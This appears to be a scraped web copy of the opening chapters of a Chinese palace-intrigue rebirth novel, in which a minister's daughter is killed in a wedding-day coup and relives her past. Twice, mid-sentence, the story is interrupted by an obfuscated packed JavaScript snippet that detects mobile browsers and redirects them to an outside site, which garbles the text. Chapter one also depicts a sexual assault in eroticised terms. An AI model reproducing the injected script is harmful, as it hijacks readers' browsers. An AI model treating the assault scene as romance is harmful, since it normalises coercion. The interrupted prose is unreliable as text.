《折雪烬月(双重生)》 1. 大婚日 第一卷美人如花隔云端 一、大婚日长安,要变天了 /听竹妃子/晋江文学城首发/ 永宁十年。 十月初十,大雪。 皇城内外一片肃杀白莽,冷冽的北风裹挟着珠玉大小的雪粒,从云巅狼狈地滚落,急促尖厉的马嘶声掠过沈衔月的袍袖,激起一阵阵战栗。 长安,要变天了。 沈衔月下意识地握紧了藏于袖袍之下的令牌。 她的指尖冰冷,在触碰到鎏金令牌时不受控制地颤抖了一下。 沈衔月是太傅之女,从小千娇万贵养出来的金玉人儿,若在从前,莫说雪天独自出行了,哪怕是备齐了车马轿辇,仆妇随从,沈夫人也是万万不放心自己的女儿擅自出府的。 可是如今,事急从权,顾不得身体上的不适,她胡乱扯住玄色的粗布麻衣,裹住她娇小的身形,在风雪中,仿佛一粒小小的沙砾,不知来处,不知归途。 轰隆隆的马蹄声震地而来。 沈衔月抬手,从斗篷掀开的缝隙中往外看去,不远处,马上的男儿腰束玉带,头带玉冠,他身上的金黄缎里紫貂大氅在雪中耀眼夺目,神气非常,她的心不自觉瑟缩了一下,她认出,此人正是她的未婚夫——大徵皇三子李元彻。 她的心跳得飞快。 今日,原该是她和李元彻的大婚之日。 十月初十,这是相卜师敬问占龟,上呈天听,择定的大吉之日,可就是这么一个听起来十全十美的好日子,却成了沈衔月乃至大徵国的噩梦。 李元彻举兵谋反。 想到二人的曾经,沈衔月眼角微微红了起来,她从前一直以为,李元彻虽然人不聪明,但长得还算不错,而且说起话来也是甜言蜜语,对她无不听从,若不是为了这个,沈衔月也不会一赌气,缠着父亲母亲,允了她与李元彻的这门婚事。 是啊。 她原本心仪的男子并不是他。 可她还是嫁给他了,因为她要让那个人看看,她沈衔月只要想嫁,便是皇亲国戚也不是嫁不得,李元彻虽然不是她的心中所爱,毕竟是天皇贵胄,这个身份足够了。 太傅之女,帝王之子,传出去也是郎才女貌、天造地设的一对,更何况李元彻对她实在太好,有求必应,从来没和她红过脸,几乎要把她宠上天了。 若不是她今晨梳妆时分,在她的嫁妆中无意发现了一封书信,她至死也不敢相信,这个平日看起来不务正业、游手好闲的皇子竟然一早就有了谋夺帝位的心思。 沈衔月深深吸了一口气。 无论如何,绝不能让他认出自己,她不敢赌这个男人对自己究竟有几分真心。 她低下头,弯着腰,装作年逾半百的老妪的样子,拄杖而行。 * “驾!” 大微的皇三子李元彻率领几名宁王府的亲信,从芙蓉园策马而出,经青龙寺直奔龙首渠。 禁苑守卫严密,军规森严,他想要硬闯并不容易,但这龙首渠毗邻通化门,再往北就是十六王居住的永福坊,于他而言,想要在自己的地盘做些手脚,再便宜不过了。 早在几个月前,李元彻便以重金买通了龙首渠的守卫,命人在其中撒下盐粒,可使雪融,即便外面看起来还是厚厚的一层冰,实则拿刀剑就能凿出神不知鬼不觉进入禁苑的密道。 李元彻想到这里,不自觉勾了勾唇角,扯出一抹轻蔑的笑来,他隔着铺天盖地的雪幕,遥望着琉璃瓦紫金门的禁苑。 父皇,你莫急,你的生辰大礼,儿臣这就为你奉上。 若在往常,这样大的阵仗定然会引起城内巡逻兵的注意,可是今日不同,今日是大徵皇三子和太傅嫡长女的大婚之日,沿街早早屏退闲杂人等,又逢大雪嘶嚎,更是为他举兵造反造就了绝佳的时机。 李元彻在马背上哈哈大笑起来,他笑得张狂,再垂眸的时候,忽然觉得擦肩而过的一人有些眼熟,旋即勒马而住,他扭头,瞧着蹒跚而去的那名老妪。 冰冷的字句不带有一丝感情,猛地扎进了她的心。 “站住!” 沈衔月脚下一顿,不敢回头。 隔着漫天飘举的飞絮,李元彻看不清她的身形,只觉得这人在这样大的风雪天独自出行,多少有些诡异,更何况,今日之举,事关生死存亡,他绝不能大意。 哪怕错杀一万,也绝不能放过一个。 李元彻打定主意,他“唰”的一声拔剑出鞘,剑光衬着雪光,几分凉薄,几分淬白,他扬了扬眉,用猎手对待猎物的语气戏弄开口。 “过来呀。” 沈衔月的脚像是冻在了雪地里,再也挪不开步子。 他的声音还是那么熟悉,在散漫不羁中透着轻佻风流,她隐约有些失神,想起了他最初折下她头顶的花枝,炽热而又缱绻的呼吸掠过鬓发,他附在她的耳边说的那句,“若折佳人在手,允格此生再无所求。” 允格是他的字。 天皇贵胄,却愿意为了她,谦卑到以字相称。 彼时的长安城都在传,素性风流不羁的皇三子,一日一日跑到太傅府的门口,只是为了隔着院墙遥遥看她一眼,哪怕挨了太傅的臭骂,也绝不转圜,这不是爱是什么呢。 沈衔月不得不承认,她最初答应嫁给他,确实有着一点赌气的成分,可到最后,她真的动心了,她是真的愿意与他白头偕老,执手此生。 他长相不差,出身高贵,又对她言听计从,从没有过惹她生气的时候,试问这样的男子,世间哪个女子会不心动。 只是她未曾想到,原来,这一切都是假的。 他在骗她。 沈衔月忽然就不想逃了。 如今他这般张扬地在大道上疾驰,俨然是胜券在握,她还能逃去哪里,逃到几时?若她留下来,或许他还能念在往昔的情分上,饶过他们一家。 当然,这只是或许罢了。 她隐约明白,那些曾经让她感动到流泪的瞬间不过是他的逢场做戏,她的一厢情愿。 她突然很想问问他,他对她可曾有过半分真心。 于是,她掀开斗篷,转过身来。 “李元彻,我有话问你。” 李元彻握剑的手一滞,连呼吸都变得艰难起来。 “衔月,是你?” “是我。” 她一步步向他走来。 雪狐华氅之下,是她乌黑的秀发,细瓷般的脸庞因为吹了冷风,染出美人梅似的红晕,她显然是出来得匆忙,披了一件大氅,外头裹着一件粗布麻衣,缂丝里衣还未曾系好,胭脂色的诃子微微露出一角,撒在乳白色的肌肤上,诱惑而又俏皮。 他咬了咬牙。 该死,她怎么这么美。 沈衔月走上前,不知为何,她突然就不怕了,大不了就是一死罢了,只是死前,她一定要把想问的都问个清楚。 “你娶我,是为了拿我们的大婚当幌子,举兵谋反,是不是?” 李元彻轻蔑一笑,“是又如何,不是又如何?” 沈衔月再也撑不住,泪水似是断了线的珠子一般,簌簌而落,她艰难地开口,心中钝痛,几不能言,“你知道吗,我曾以为,你对我是真心的。” “真心?哈哈哈哈,真是可笑!你和我谈真心!” 李元彻轻狂的声音淹没在雪地里,须臾,他蓦地伸手,一把将她捞上马背,许是受了冷的缘故,他感觉到怀中的人儿不住颤抖。 “李元彻,你放开我!” 他不顾她的挣扎,将她牢牢锢在自己怀里,声音中满是残痛,“衔月,你告诉我,什么是真心,你可曾对我有过半分真心,你以为我李元彻是傻子吗,你以为我不知道你心里的人究竟是谁吗!你嫁给我,不过就是为了同他赌气罢了,在此之前,你可有正眼看过我,嗯?你以为你能瞒得过谁!街头巷尾流言纷纷,你将我李元彻的脸面放在哪里!你说呀!” 他的呼吸声扑在自己的耳畔,灼热而又狠辣,她说不出话来。 沈衔月双唇颤抖,试图伸手推搡开他,“我,我没有。” “无所谓,衔月,即便我得不到你的心,最后拥有你的人也只能是我!” 李元彻笑意冷然,他的大手毫不留情地扯开她的衣襟,空气中隐约可闻锦帛破裂的声音,冰冷零碎的雪花翻飞,她的心都要碎了。 这是他的羞辱。 更是他的报复。 她直到这一刻才明白,他恨她,竟然已经恨到了这等地步。 愤怒羞愧涌上心头,沈衔月不可置信地一巴掌打了过去,“李元彻你放肆!” 她的手还没有伤及他半分,就被他牢牢攥在掌间,他的力道在她纤细柔弱的腕子上留下深深浅浅的红痕,“我放肆了又怎么样!我就放肆了!沈衔月,我告诉你,我讨好你,为的不过就是今日罢了,我的兵马已经攻入禁苑了,要不了多长时间,这个天下就是我的了!” 沈衔月啐了一口,“李元彻我告诉你,你就算杀了我,你就算杀了天下人,也改不了你篡权夺位的事实,他日史书工笔,你永远是被唾骂的乱臣贼子,李氏皇族的不肖子孙!” 李元彻怒从中来,他狭长的眼眸阴暗深邃,沉沉打量着她的脸庞,凭什么,凭什么就算自己夺得了这个天下,她也还是看不起自己,凭什么! 他咬牙喝命,“所有人,转过去,有谁胆敢偷看,本王剜了你们的眼睛!” “是!” 沈衔月有些慌了,这个人现在就是个疯子,彻头彻尾的疯子。 “你要做什么?” 李元彻冷冷打量着她,反问,“你又不是没有做过,难道不知道我要做什么吗?” 他冷笑,旋即抬手,用剑尖挑开她的斗篷,继而是里衣。 沈衔月忽然反应过来,她虽然是未出阁的女儿,但今日是他们二人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418716|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大婚之日,她的嬷嬷昨夜已然教过她许多,她的脸色煞白,颤声握住了他的手。 “不要,我求你,不要。” 李元彻凤眼漫不经心地上挑,剑尖停留在她的诃子上,“哦?你求我?原来,太傅之女也有求人的时候呀,好啊,那你告诉我,你心中的那个人到底是谁,我就饶了你。” 沈衔月咬紧下唇。 她不能说。 李元彻望着她的样子,眉眼间攒起怒容,他稍一用力,就将她扯到了自己怀里,他随手解下袴褶,隔着华丽的氅衣,她感觉到他的动作粗暴肆虐,几乎难以忍受。 洋洋大雪中,他做着他想过一千遍一万遍的事情。 他想要这个帝位。 他更想要她。 哪怕如今只有一步之遥,他也等不及了。 沈衔月死死抿住唇瓣,感受到身后那个血脉喷张的男子烫人的温度,她的牙齿打着颤儿,“李元彻,你无耻,你卑鄙,你下流!” 他不以为意地冷笑一声,“我再无耻,我再卑鄙下流,也未曾对你生过二心,可你呢!” 沈衔月脸色骤然变得惨白,“你不要再说了……” 李元彻低沉沙哑的声音有如鬼魅,“衔月,你心里的那个人叫时倾尘,对不对!你是我的妻,可你的心里却装着另一个男人!” 痛。 好痛。 身上痛,心中更痛。 潮水一般的浪涛袭来,沈衔月几乎要晕厥过去,濡湿的发染红了她的眼角,她的泪水打在他的前襟,冰冰凉的,李元彻的心不自觉猛地抽了一下,没有什么比美人的眼泪更能打动人心,他瞧着她破碎的样子,忽然觉得自己是个混账,他刚才都做了些什么! 该死。 李元彻的喉结滚动了一下,他张口轻唤,声音中是显而易见的慌张,“衔月……” 沈衔月不理他,只是以手掩面,背过身子啜泣,她的声音似乎因为情事,于婉转而动的娇羞中掺着一抹哭腔,更叫人心思百转,“允格,你怎么能这么对我。” 她唤了他的小字。 李元彻一下子慌了神,是啊,他怎么能,他怎么能这么侮辱她,他忙不迭地抱住她,用自己的大氅遮住她单薄凌乱的衣衫,“对不住衔月,我气急了,我实在是太爱你了……” 他的话还没说完,忽觉心口一凉,他猛然意识到了什么,唇角再一次勾起狞笑,沈衔月手中的匕首就那么被他无情地抢走,他冷峻的眼眉扫过她忍耻的唇瓣。 “衔月,你想杀我,是吗?” 沈衔月咬着齿关。 李元彻觉得有趣,他低下头,凝视着她眼眸中的泪花,“方才我那么折辱你,逼迫你,你都没有对我下杀手,为什么我刚一提起那个人的名字,你就急了?还不不是因为你爱他!” 他一抬手,将她抵在了马背上,一遍遍地逼问着她,“你爱他,竟爱到了如此地步!” 他的冲击和他的话语一样有力,她只觉得,自己要被巅碎了,意识渐次变得模糊,她杀不了他,可她绝不能任由他污蔑倾尘。 倾尘,这个名字,和这个人一样,不该染上半分污垢。 这是她的父亲曾经和她说过的话。 这是他们沈氏一族的使命。 她必须保全他。 沈衔月用尽最后一丝力气,撞向了李元彻手中的匕首,伴随着一声惊呼,鲜血染红了她的脖颈,漫过锁骨,和她先前流的血融为一体,银装素裹中,是大片大片触目惊心的红艳。 李元彻颤手抱住她。 他不敢相信,她居然会豁出自己的性命,只为了撇开那个人的污名。 “李元彻,你记住,我和他没有半分关系,你记住,不然我就算做鬼也不会放过你!” 李元彻狠狠咬牙,忽从怀中抽出一枚玉佩,“沈衔月,你可还记得这个?” 沈衔月眸光一顿。 她怎么会不记得,那是时倾尘的东西,自她认识他以来,他从未离身。 她强撑着伸出手去,试图攥住那枚玉佩,“他的东西,怎么会在你这里?” 李元彻凤眼狭长,像是一把锐剑,赫然扎进了她的心扉。 “衔月,你以为这个人真的值得你为他做这么多吗,你以为他不知道本王今日的谋算吗,想来他从未告诉你吧,这枚玉佩可调骠骑营大军,若非如此,本王也不能这么快拿下城门,直捣禁苑,你,还有你们沈氏一族,简直就是个笑话!” 沈衔月没有听到后面的话。 她死了。 飞花皑皑,跌入眼眸,她忽然觉得自己的死实在太过愚蠢,她不知道李元彻为什么要谋反,更不知道时倾尘的玉佩为什么会在李元彻的手里。 还有……她为什么会爱上他…… 时倾尘,这个原本和她不该有半分交集的男子。 北风卷地,过往的一幕幕袭来,她沉入死亡,一如堕入幻梦。 2. 生辰宴 二、生辰宴时家二少 永宁七年。 沈府。 芳菲苑中遍植白玉兰、绣球花、海棠花、牡丹花、早樱花、栀子花、紫藤花,争奇斗艳,春色正浓,郁郁幽香潜入窗格,沁入鼻息,沈衔月睁开眼,望着精巧绘彩的雕梁微微出神。 她还活着? 她没有死? 这是什么情况? 她打量着这间屋子的布置,觉得这个地方似乎有些眼熟。 该不会是被李元彻捉回来了吧…… 那她还不如死了呢…… 身侧的丫鬟听见动静,惊喜地喊了出来,“姑娘,你醒了!” 沈衔月听见这个声音,鼻子忽然一酸,这是她的贴身丫鬟冰儿,血淋淋的一幕再次出现在她的眼前,她看见,冰儿为了让自己出府,用自己的身躯挡下了门外的守卫。 沈衔月顾不上身体的酸痛,一把抱住了冰儿,“太好了!你没死!” 冰儿睁大了眼睛,“姑娘你怎么了,你别吓我。” 沈衔月更紧地抱住了她,牙齿几乎要把这个名字嚼碎了,“李元彻那个畜生呢。” “啊?李……”冰儿没听过这个名字,可她知道,“李”乃天子姓氏,能姓李的人想必也是皇亲国戚,故而立刻住了嘴,“姑娘怕不是烧糊涂了,我这去找郎中!” 沈衔月却不松手,“父亲母亲呢,他们都还活着吗?” 冰儿震惊不已,她实在想不明白,自己姑娘不就是在荷花池中跌了一跤吗,怎么就烧成这样,醒来也只管说胡话,但她自然不能指责自己姑娘,只好说,“阿郎在前厅接待贵客,吩咐了不让人前去伺候,娘子才来看过姑娘,因为昨夜守着姑娘守了一夜,精神不济,被崔嬷嬷劝着回去歇中觉了。” 阳光温暖地洒落青竹银丝帐,沈衔月有片刻的失神,冰儿语调轻快,这样家常的语气,这样轻松的内容,是她许久未曾听到过的了,或者说,这是永年七年之后,沈府再也不曾有过的平静,她忽地意识到了一件事,一件她从来不敢想的事。 这间屋子分明就是沈府旧宅! 那么,她不是没有死,而是,活在了过去的某个时间点。 沈衔月深吸一口气,“冰儿,你告诉我,我今年几岁了?” 冰儿又被问得一怔,“姑娘你怎么……” “告诉我!” 冰儿瞧着她眼角的泪痕,真的被吓到了,连忙哄着说道,“姑娘究竟是怎么了,下月是姑娘的及笄礼呀,姑娘忘了吗,到时候太子殿下也会来的,姑娘不是一直盼着呢吗?” 太子殿下…… 沈衔月隐约记起,这是三年前她的生辰宴前夕,在此之前,她一直心仪太子殿下李元洵,可在这之后,她却爱上了那个神秘的时家二少,时倾尘。 她回忆起那个初春,时倾尘一袭白衣,在春雨连绵的三月撞入她的眼眸,她不明白,这世间怎么会有这么好看的男儿,他的发丝仿佛水墨,晕染留白,在她的心中留下不可磨灭的痕迹,只一眼,她就喜欢上了这个男子。 长安城中勋贵子弟无数,五陵年少之流她见的不少,她自问没有哪家儿郎有他这般清绝的容貌,他像是跨过千年万年的雨幕,遗世独立,淡抹红尘,哪怕是后来她在及笄礼上见到的太子殿下李元洵,三皇子李元彻,五皇子李元睿,也断没有这般气质。 那是上位者的从容淡雅。 沈衔月不自觉揉了揉眉心。 时倾尘说自己是茶商之子,家在江南,来长安是为了投访故人,顺便试一试科举,那时沈衔月并未多想,可是如今,她死过一次,却不由得深思起来,他究竟是什么人? 茶商,这样的家庭富而不贵,在世人眼中是不上数的,即便他再如何才高八斗,他也连科举的机会都没有,注定是与仕途无缘的,既如此,他为什么要来长安参加一场明知道不会中举的考试,又有什么资格来参加自己的及笄礼,还有最重要的一点,为什么父亲贵为当朝太傅,会对这样的一个少年青眼有加? 她忽然间发现,她曾以为自己深爱着他,如今才知道,自己对他这个人竟是一无所知,何其可笑,没来由的,她对这个人忽而生出了几分恨意。 说来好笑,爱与恨,听起来千差万别,可有时候只在一念之间。 上一世,她至死牵挂着他,可重活一世,她心中的那些儿女情缘忽而就淡了下来,是啊,死过一次的人,还有什么看不开的,她静下心,仔细思忖着时倾尘的来去,越发觉得古怪。 时倾尘,你究竟是谁?你来长安,又究竟是为着什么? 她恍惚间想起一事。 冰儿方才说父亲在前厅接待贵客,这个贵客,莫不是时倾尘? 沈衔月顾不得深思,一面起身,一面吩咐,“冰儿,给我梳妆。” 冰儿不解,劝道,“姑娘的病还没有大好,要不要先请郎中过来瞧瞧再说?” 沈衔月一个冷冰冰的眼神扫过去,冰儿立时住了嘴,她从未见过自家姑娘这个样子,更不明白,为什么姑娘醒来之后就像变了一个人似的。 沈衔月瞧着冰儿畏缩的模样,轻叹一声,她知道自己吓到冰儿了,可她没有办法,即便她的容貌同三年前的自己一模一样,可是心境变了,说话做事也再不可能回到从前了,这三年间,她经历了太多太多,有太多的事情,她要靠自己去弄明白。 这其中,就包括沈氏一族的覆灭。 如果她没有记错的话,这一切,都是从她的及笄礼开始的,她必须去阻止,去挽救。 沈衔月尽可能温柔地笑了一笑,“冰儿,给我梳妆吧。” 冰儿懵懂点头,她才要动,忽然又被沈衔月抱住。 沈衔月在心里默默地说,“冰儿,你没死,真好。” * 三月,正是万物复苏的时节。 沈衔月绕过垂花门,沿着荷花池畔的青苔小路,踏着碎玉石阶,一步步走至前厅廊下,隔着一层薄薄的银光纸,她听见了她父亲,大徵太傅沈扶澜的声音。 “既有遗命,老夫愿尽绵薄之力。” 然后屋中传来了另一个人的声音。 “那就劳烦太傅了。” 沈衔月抬指,试图挑破银光纸,瞧一瞧那人的容貌,谁料还没等她有所动作,忽见屋内人影一闪,下一瞬,一柄寒光凛凛的宝剑已经抵在了自己的脖颈间。 他的剑,冷而快。 沈扶澜一声惊呼,忙不迭地跑了出来,“别动手,这是小女衔月。” 那人闻言,剑锋微转,却并不曾放下,他就这么盯着她看。 沈衔月并不畏惧,她抬起眼,望向执剑指向自己的人,他带着面具,因而她瞧不清他的容颜,只觉得他整个人像是一块千百年的寒冰,眼角眉梢都不带一丝温度。 只一眼,她就知道,她不喜欢这个人。 很不喜欢。 她横指挪开凌厉的剑锋,神情自若,坦然开口,“阁下可知,举剑的人未必是侠义之士,这世间多的是酒囊饭袋,虚张声势之徒!不知,阁下是哪一种?” 沈扶澜重重咳了一声,他不明白,平日里那么乖巧的一个女儿怎么说起话来这么厉害,“衔月,不得无礼,这位是大皇子,还不赶快见过殿下。” 沈衔月怔了一怔,大皇子? 说实话,沈衔月上一世并不怎么关注朝局之变,储位之争,毕竟那个时候,她一心都在时倾尘的身上,根本没有精力去思考其他的事情,她努力在模糊的记忆里搜寻关于大皇子的印象,一番努力下来,她终于确认了一件事,这个大皇子似乎始终没什么存在感。 以至于她连他叫什么名字都不知道。 大皇子悠悠开口,声音同他的剑一样,不带一丝温度,“本王可曾得罪过姑娘吗,姑娘何故对本王出言不逊?” 沈衔月仰起脸,“本姑娘可曾得罪过大皇子吗,大皇子何故初次见面,就对我刀剑相向?” 大皇子似乎笑了一声,“唰”的一声,收剑入鞘,他的动作实在太快,她只能瞧见凌空被斩断的两瓣落叶,随风打了个旋儿,旋即坠入渺不可闻的空虚。 “这样说来,是本王失礼了,本王向姑娘赔罪。”说罢,他利落一揖,随即又向沈扶澜微微颔首,“得罪了。” 沈扶澜才要说不妨事,却见他已经凌空而去了。 沈衔月这回是真的被惊到了,若说剑术,皇子们防身也是应该的,可这人如此好的轻功,属实难得,他不是皇子吗,他要这么好的轻功做什么? 沈扶澜沉沉开口,声音中明显透着几分不悦,“衔月,你跑到这里来做什么?” 沈衔月亭亭侧立,“父亲,你可知,在我的及笄礼之后会发生什么?” 沈扶澜懒得理她,他一面往回走,一面说道,“还能发生什么,你又长了一岁呗。” 沈衔月知道沈扶澜不会听自己多说,他自然不会想到,眼前的这个女儿是历经生死之后重新站在这里的,在他的眼中,她只是一个不谙世事,闯了祸还浑然不知的小孩。 沈衔月的声音沉静柔和,却又字字铿锵,“永年七年,四月十二,圣上会给我和太子殿下赐婚,可我没有答应,后来,这门亲事落到了三皇子头上,我也不肯答应,只是那三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418717|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇子一味纠缠,最后还是哄骗了我去,而这,就是我们沈氏一族走向衰微的开始。” 沈扶澜的神色陡然变得凝重起来,他回身望着沈衔月,这个明明这么熟悉却又这么陌生的女儿,他不知道她后面说的事情,可他知道,圣上的确会在她及笄礼的那日为她赐婚,而人选,正是太子殿下。 “衔月,你怎么会知道?你听谁说的?是不是宫中有人泄密?” 沈衔月摇了摇头,她不顾沈扶澜讶然震惊的眼神,继续悠悠说道,“及笄礼之后,因为沈氏和皇室的婚约,父亲倾沈氏全族之力,扶持三皇子李元彻,可如此一来,就算彻底得罪了太子殿下,彼时圣上已经年迈,纵然他还念及父亲昔日的教诲之谊,也听信了奸人所言,对父亲日渐疏远,父亲最后不得不远离朝政,而我与李元彻的婚事就成了父亲唯一的指望。” 沈扶澜惊得退后一步。 不,这绝不是他的女儿。 她的女儿不会懂得这么多。 “你究竟是谁?你从哪里来?” 沈衔月淡淡一笑,嘴角些许哀伤,些许自嘲,“永宁十年,十月初十,我与皇三子李元彻成婚,大婚当日,他举兵谋反,沈府上下血流成河……”她默了默,缓步上前,“父亲不是问我从何处来吗,我从尸山血海中来。” 沈扶澜倒抽一口凉气。 “父亲能否告诉我,大皇子都和你说了什么?” 沈扶澜脸色一沉,“这不是你该过问的。” “父亲,上一世,我犯了很多错,我不该由着自己的性子,在婚事这等大事上自作主张,这一世,我只求能尽力保我们沈氏一族周全。” 沈扶澜不知道该说些什么,他不相信这世上会有转世轮回一说,可眼前的女儿分明就是和从前不一样了,他一皱眉,她,莫不是,害了什么癔症? 这么一想,他瞬间松了一口气,毕竟人总是趋利避害的,哪怕他隐约感觉她不像是胡说,可他还是更愿意相信后一种可能,于是他喊了一声,“风鹤!” 一个十七八岁的少年立时从树梢飞落,“阿郎!” “送她回屋,这些日子,一直到及笄礼之前,若没什么事情就不要放她出来了,再拿上老夫的令牌,去请两名御医给她瞧瞧,也不知道究竟是摔到了哪里,竟把脑子给摔坏了!” 说罢,沈扶澜拂袖而去。 沈衔月无语。 合着父亲大人把自己当成失心疯了。 风鹤眼珠漆黑,抬手作了一个“请”的手势,“阿郎有命,姑娘不要让我为难。” 沈衔月恨恨咬牙,父亲,你为什么就不相信我呢! 风鹤等了半晌,见她还是没有动作,无奈上前,“姑娘,请回吧。” 沈衔月知道风鹤年纪虽小,功夫却是一等一的好,想在他的眼皮子底下逃脱简直是难上加难,绝不是什么容易的事情,此刻她也只得认命,跟着风鹤沿着原路返回。 一路上鸟语花香,沈衔月沉浸在初春浓浓的暖意中,不自觉放慢了步子,风鹤急着回去复命,忍不住开口催促,“姑娘,照你这个走法,天黑了也走不到。” 沈衔月白他一眼,“你若着急,你就先回去。” 风鹤便不作声了。 沈衔月也不再理会他,她走得慢,其实也是在为自己寻找机会,沈扶澜让她在大婚之前都不要再出门,这怎么能行呢,等到时候旨意一下,沈氏一族无论愿不愿意,都注定要卷到大徵皇子们争权夺位的风波之中,这一世,她绝不能看着沈氏一族在自己的眼前衰败。 她静下心来,思考着眼下朝中的局势。 大皇子身世不明,姑且不论。 太子殿下为先皇后嫡出,先皇后虽已身死,名望仍在,按说太子是继承储位的不二人选,而太子本人光风霁月,也一向在百官口中有着不错的声誉。 至于三皇子,沈衔月一想起这个人牙根就恨得直痒痒,她从前只觉得此人不务正业,却没想到他竟然包藏祸心,她遽然回身,从风鹤腰间抽出一柄长剑。 风鹤没料到她会有此举,一时没防备,竟被她得逞了。 “姑娘这是做什么?快放下,仔细伤着自己。” 沈衔月原本是想拿着这柄剑去杀李元彻,去报上一世的仇,可终归只是一时意气罢了,她知道自己根本近不了他的身,更何况现在,李元彻根本都不认识她,更无从谈起报仇一事了,沈衔月将剑扔给风鹤,利落转身。 她脚下轻快,心中已然有了破局之法。 “走吧。” 风鹤被她的举动绕迷糊了,他没多说,护着她一步步回了芳菲苑。 3. 何为爱 三、何为爱衔月,别来无恙 沈衔月的破局之法很简单。 她所知有限,暂时还理不清这几个人之间的权谋利害,但有一样,如果说这是一盘棋,牵一发而动全身,那么她自己也是其中的一环,纵然她左右不了旁人,但她总能左右自己,如果她出局了,最起码沈家不会牵涉其中。 于她而言,这就够了。 于是乎,沈府的嫡长女沈大姑娘就这么在及笄礼的前夕疯掉了。 她胡言乱语,疯话连篇,沈扶澜半世聪明,也未曾料到女儿会出这种事情,沈夫人心急如焚,忙着找人请医问药,可都被沈扶澜拦住了,毕竟沈衔月口中说的那些事涉朝局,更有一些大逆不道之言,是决计不能外传的。 冰儿的眼睛都快哭肿了,她不明白,这么好的姑娘怎么落了个水,就成了这副样子。 沈衔月并不介意外人的议论,虽然有时候听见父亲母亲的叹息,她心中也觉得难受,但她并没有更好的办法,她能做的事情太有限了,及笄礼在即,到时皇帝的旨意一下,哪怕她再如何不情愿,再如何使女孩儿家的性子,也扭转不了大局。 沈家累世积名,沈扶澜更是在皇帝少时有过数载教导之恩,她作为沈家的女儿,注定要卷入储位之争中,谁娶了她,谁就有了莫大的助益,谁也就离那个万人之上的位置更进一步。 她没有选择嫁不嫁的权力。 说到底,她能选择的,只是嫁给谁罢了。 可是无论选谁,沈家都注定要趟这趟浑水。 上一世,她选择了看起来游手好闲,没有半分夺位心思的皇三子李元彻,可到最后,他还不是举兵谋反了,这一世,她不认为自己会有更好的选择。 太子殿下就是好人吗? 深思起来,在那场宫变之中,恐怕没有几人是清白的。 沈衔月将脑袋蒙在被子里,尽可能不去听母亲的啜泣声,她知道他们难受,可只要活着,就还有希望,不是吗。 没有什么,比活着更重要。 * 沈扶澜怕女儿说出去什么不该说的话,所以不敢给女儿请郎中,还是沈夫人爱女心切,偷偷从娘家找了几个稳妥的人来看了,可是怎么看也看不好,沈衔月的疯病越发重了。 沈衔月的及笄礼就这么搁置了,赐婚一事,也渐渐没了音讯,帝王之家终究还是要脸面的,即便皇帝再如何想和沈氏结亲,也不能容忍未来的儿媳是个疯子。 不知是哪位郎中说的,沈衔月这病怪得很,像是有鬼魅作祟,建议沈氏夫妇带她去做场法事,说不准就好了,沈扶澜读了一辈子的圣贤书,这样的怪力乱神之语,他自然是不愿意信的,可怜沈夫人心疼女儿,不顾他的劝阻,说什么也要带着女儿去瞧上一瞧。 听说灵山一带很是灵验,沈夫人择了一个吉日,就要带沈衔月过去住上一段时间。 沈扶澜劝不住,只得由着她们去了。 当疯子的日子惺忪平常,沈衔月想睡就睡,想吃就吃,一整天也没什么要紧事儿,她掐着时辰,当着别人的面儿说上两三句疯话,只觉得比从前还要悠闲自在,没有人来管她什么时辰起床,什么时辰问安,什么时辰用膳,什么时辰归寝,她在这其中获得了莫大的趣味。 太傅之女有什么意思? 还不当疯子来得自在。 这期间,只有一件事,让她有些摸不着头脑。 在她“疯掉”的旬日之后,皇三子李元彻送来了一张拜帖,帖子的内容倒是平平无奇,不过帖子的落款就颇为蹊跷了,按说他们二人从未见过面,可李元彻却在朱章之下书了允格二字,且还吩咐送信的人,这帖子一定要亲手交到沈衔月的手上。 要知道,此时沈衔月已经疯了,李元彻再如何觊觎皇位,再如何想要和沈家交好,也不至于委曲求全到这等地步,非要娶她不可,毕竟长安城中同沈衔月一样出身高门,又在适婚年纪的女孩子并不是没有。 沈衔月捏着李元彻的书信,百思不得其解,上一世,在遇到时倾尘之前,她的心思全在太子殿下身上,不过她从未见过太子殿下,她对太子殿下与其说是爱慕,不如说是敬仰,而在遇到时倾尘之后,她才第一次明白了何为“爱”。 从始至终,她都从来没有认真看过李元彻一眼,她只知道李元彻生母得宠,从小就是个风流性子,可要真说起来,似乎也没听说他真招惹了哪家姑娘,想要也不过是谣传罢了。 她选择李元彻,不是因为爱,甚至连喜欢也说不上,不过就是感动他日复一日的付出,如果非要选择一个人嫁了,他倒也是个还算合适的人选。 沈衔月死的时候,恨毒了李元彻,可是转念一想,似乎也就能理解了,毕竟无论她爱不爱这个人,他们都已经是名义上的夫妻了,可她却背着他,对另一个男子芳心暗许,偏生还被他给知道了,他怎么可能不生气。 沈衔月叹了一口气。 对也好,错也罢,重活一世,她已经不想再计较了,她唯一期盼的,就是将沈家从这场祸事中摘出去,摘得越干净越好。 她将那封书信搁在火上烧了。 火苗攒动起来的一瞬,她忽然意识到不对,这不是李元彻的字迹! 上一世,她曾在嫁妆中见到过他的书信,信中内容是他的谋反计划,她那时顾不得多想,就想着去阻止这一切,所以她才会撞门而出,所以才会惊动门外守卫,所以才会有了冰儿的惨死,还有沈府的血流成河。 可是那封信真的是李元彻的字迹吗? 